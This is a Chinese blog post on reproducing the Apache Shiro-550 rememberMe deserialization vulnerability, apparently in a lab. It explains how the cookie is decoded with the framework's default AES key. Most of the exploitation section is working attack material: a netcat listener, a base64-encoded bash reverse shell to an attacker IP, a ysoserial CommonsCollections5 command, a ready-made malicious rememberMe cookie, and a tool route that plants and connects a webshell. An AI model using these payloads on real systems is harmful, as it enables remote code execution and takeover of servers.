shiro550

发布时间 2023-07-04 22:29:10作者: 光头鎏
源码分析

 

 

 

接收到response传回的参数后先序列化之后进行aes加密对称

 

 

上图可以看到使用kPH+bIxk5D2deZiIxcaaaA==解密

 

最后base64编码

 

漏洞原理:

shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,其 value 的值是经过序列化、AES加密和Base64编码后得到的结果。

服务端在接收到一个Cookie时,会按照如下步骤进行解析处理:

    1)检索RememberMe Cookie的值

    2)进行Base64解码

    3)进行AES解码

    4)进行反序列化操作

 

 

 

 

整体流程与利用思路如上图所示

 

拦截response看到deleteMe证明参数传递成功说明确实存在4437漏洞

 


 

下面是漏洞复现过程

第一种为手动做法

先开启一个监听端口用于接收反弹shell:  nc –lvvp 6666

当命令中包含重定向 ’ < ’ ’ > ’ 和管道符 ’ | ’ 时,需要进行 base64 编码绕过检测。可以使用在线网站对命令进行编码,得到的结果如下bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ0LjEzMC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}

 

之后需要将该bash进行序列化

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,CmJhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4yMDAuMTMxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"

默认密钥的加密加密脚本内容如下

 

 

得到的rememberMe值如下

rememberMe=SHaFTQdoQyyp/6aF8nm+S+n0p137QVPK6totrz/HmyvQAO+ZOKVLg7e3l1BpDjneRCi3pvZH+Crshq66w+o/xKMvLoVxRootFbrV6ovdAsvo/xAvXOYj71KNPqWP4J4tYNydIiPU1Gqd4saPTbJ1eiBW42tSY4NhiEu+/uCaGok+Lsyv/UB9zPCtJKGJCbDp8eHB9rk/RzQUV2QVdU2bsNjZM7dOTtoL/90yx3LcNfqrkzLWNW+X2jH4GwVPsKkPslQkzS8E/t4b8kMLYjTpFWmxmnyCzbX/4j8ok7JIxpqbQ92TSQgUzm+xcXluldpWo6e3EVnB+wUPNkrREad+YdCAFPpkSpSsuuRZjg/MQ/Kw7NiuTjNtwKMBmf5jalZ9HwbsiY5LfSdRfsLQ4MEwzg==

抓包之后将构造的cookie放入

 

 

 

 

响应包中确实可以看到deleteMe的内容证明上传成功

 

反弹shell执行成功

第二种是工具用法

 

 

 

存在该资源证明注入成功后续使用哥斯拉或冰蝎连接

 

添加webshell的路径

连接shell成功